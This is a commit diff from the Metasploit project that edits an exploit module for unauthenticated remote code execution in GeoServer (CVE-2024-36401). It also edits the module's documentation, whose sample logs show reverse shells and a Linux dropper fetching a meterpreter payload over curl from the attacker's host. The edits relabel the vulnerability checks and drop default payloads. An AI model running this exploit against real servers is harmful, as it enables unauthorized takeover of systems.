Skip to content

Commit 292c177

Browse files
Apply suggestions from code review
Co-authored-by: jheysel-r7 <[email protected]>
1 parent 5d210b5 commit 292c177

File tree

2 files changed

+12
-18
lines changed

2 files changed

+12
-18
lines changed

documentation/modules/exploit/multi/http/geoserver_unauth_rce_cve_2024_36401.md

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -155,7 +155,7 @@ msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit
155155
[*] Started reverse TCP handler on 192.168.201.8:4444
156156
[*] Running automatic check ("set AutoCheck false" to disable)
157157
[*] Trying to detect if target is running a vulnerable version of GeoServer.
158-
[+] The target is vulnerable. Version 2.23.5
158+
[+] The target appears to be vulnerable. Version 2.23.5
159159
[*] Executing Unix Command for cmd/unix/reverse_bash
160160
[*] Command shell session 7 opened (192.168.201.8:4444 -> 192.168.201.86:54072) at 2024-07-11 16:09:30 +0000
161161
@@ -180,7 +180,7 @@ msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit
180180
[*] Started reverse TCP handler on 192.168.201.8:4444
181181
[*] Running automatic check ("set AutoCheck false" to disable)
182182
[*] Trying to detect if target is running a vulnerable version of GeoServer.
183-
[+] The target is vulnerable. Version 2.23.5
183+
[+] The target appears to be vulnerable. Version 2.23.5
184184
[*] Executing Unix Command for cmd/unix/reverse_bash
185185
[*] Command shell session 8 opened (192.168.201.8:4444 -> 192.168.201.10:50292) at 2024-07-11 16:15:31 +0000
186186
@@ -205,7 +205,7 @@ msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit
205205
[*] Started reverse TCP handler on 192.168.201.8:4444
206206
[*] Running automatic check ("set AutoCheck false" to disable)
207207
[*] Trying to detect if target is running a vulnerable version of GeoServer.
208-
[+] The target is vulnerable. Version 2.23.2
208+
[+] The target appears to be vulnerable. Version 2.23.2
209209
[*] Executing Unix Command for cmd/unix/reverse_bash
210210
[*] Command shell session 9 opened (192.168.201.8:4444 -> 192.168.201.42:60290) at 2024-07-11 18:42:08 +0000
211211
@@ -229,7 +229,7 @@ msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit
229229
[*] Started reverse TCP handler on 192.168.201.8:4444
230230
[*] Running automatic check ("set AutoCheck false" to disable)
231231
[*] Trying to detect if target is running a vulnerable version of GeoServer.
232-
[+] The target is vulnerable. Version 2.23.2
232+
[+] The target appears to be vulnerable. Version 2.23.2
233233
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_tcp
234234
[*] Using URL: http://192.168.201.8:1981/FEflDEJ
235235
[*] Client 192.168.201.42 (curl/7.74.0) requested /FEflDEJ
@@ -261,7 +261,7 @@ msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit
261261
[*] Started reverse TCP handler on 192.168.201.8:4444
262262
[*] Running automatic check ("set AutoCheck false" to disable)
263263
[*] Trying to detect if target is running a vulnerable version of GeoServer.
264-
[+] The target is vulnerable. Version 2.25.0
264+
[+] The target appears to be vulnerable. Version 2.25.0
265265
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_tcp
266266
[*] Using URL: http://192.168.201.8:1981/CEkJIBo
267267
[*] Client 192.168.201.42 (curl/7.81.0) requested /CEkJIBo
@@ -295,7 +295,7 @@ msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit
295295
[*] Started reverse TCP handler on 192.168.201.8:4444
296296
[*] Running automatic check ("set AutoCheck false" to disable)
297297
[*] Trying to detect if target is running a vulnerable version of GeoServer.
298-
[+] The target is vulnerable. Version 2.23.5
298+
[+] The target appears to be vulnerable. Version 2.23.5
299299
[*] Executing Linux Dropper for linux/aarch64/meterpreter_reverse_tcp
300300
[*] Using URL: http://192.168.201.8:1981/680jWmUv1qm
301301
[*] Client 192.168.201.10 (curl/8.5.0) requested /680jWmUv1qm
@@ -331,7 +331,7 @@ msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > run
331331
[*] Started reverse TCP handler on 172.16.199.1:4444
332332
[*] Running automatic check ("set AutoCheck false" to disable)
333333
[*] Trying to detect if target is running a vulnerable version of GeoServer.
334-
[+] The target is vulnerable. Version 2.25.0
334+
[+] The target appears to be vulnerable. Version 2.25.0
335335
[*] Executing Windows Command for cmd/windows/http/x64/meterpreter/reverse_tcp
336336
[*] Sending stage (201798 bytes) to 172.16.199.131
337337
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.131:51235) at 2024-07-11 16:14:11 -0700

modules/exploits/multi/http/geoserver_unauth_rce_cve_2024_36401.rb

Lines changed: 5 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -50,9 +50,7 @@ def initialize(info = {})
5050
'Platform' => ['unix', 'linux'],
5151
'Arch' => ARCH_CMD,
5252
'Type' => :unix_cmd,
53-
'DefaultOptions' => {
54-
'PAYLOAD' => 'cmd/unix/reverse_bash'
55-
}
53+
# Tested with cmd/unix/reverse_bash
5654
}
5755
],
5856
[
@@ -63,9 +61,7 @@ def initialize(info = {})
6361
'Type' => :linux_dropper,
6462
'Linemax' => 16384,
6563
'CmdStagerFlavor' => ['curl', 'wget', 'echo', 'printf', 'bourne'],
66-
'DefaultOptions' => {
67-
'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
68-
}
64+
# Tested with linux/x64/meterpreter_reverse_tcp
6965
}
7066
],
7167
[
@@ -74,9 +70,7 @@ def initialize(info = {})
7470
'Platform' => ['Windows'],
7571
'Arch' => ARCH_CMD,
7672
'Type' => :win_cmd,
77-
'DefaultOptions' => {
78-
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
79-
}
73+
# Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
8074
}
8175
],
8276
],
@@ -178,15 +172,15 @@ def execute_command(cmd, _opts = {})
178172
'method' => 'POST',
179173
'ctype' => 'application/xml',
180174
'keep_cookies' => true,
181-
'data' => create_payload(cmd).to_s
175+
'data' => create_payload(cmd)
182176
})
183177
fail_with(Failure::PayloadFailed, 'Payload execution failed.') unless res && res.code == 400 && res.body.include?('ClassCastException')
184178
end
185179

186180
def check
187181
version_number = check_version
188182
return CheckCode::Unknown('Could not retrieve the version information.') if version_number.nil?
189-
return CheckCode::Vulnerable("Version #{version_number}") if version_number.between?(Rex::Version.new('2.25.0'), Rex::Version.new('2.25.1')) || version_number.between?(Rex::Version.new('2.24.0'), Rex::Version.new('2.24.3')) || version_number < Rex::Version.new('2.23.6')
183+
return CheckCode::Appears("Version #{version_number}") if version_number.between?(Rex::Version.new('2.25.0'), Rex::Version.new('2.25.1')) || version_number.between?(Rex::Version.new('2.24.0'), Rex::Version.new('2.24.3')) || version_number < Rex::Version.new('2.23.6')
190184

191185
CheckCode::Safe("Version #{version_number}")
192186
end

0 commit comments

Comments
 (0)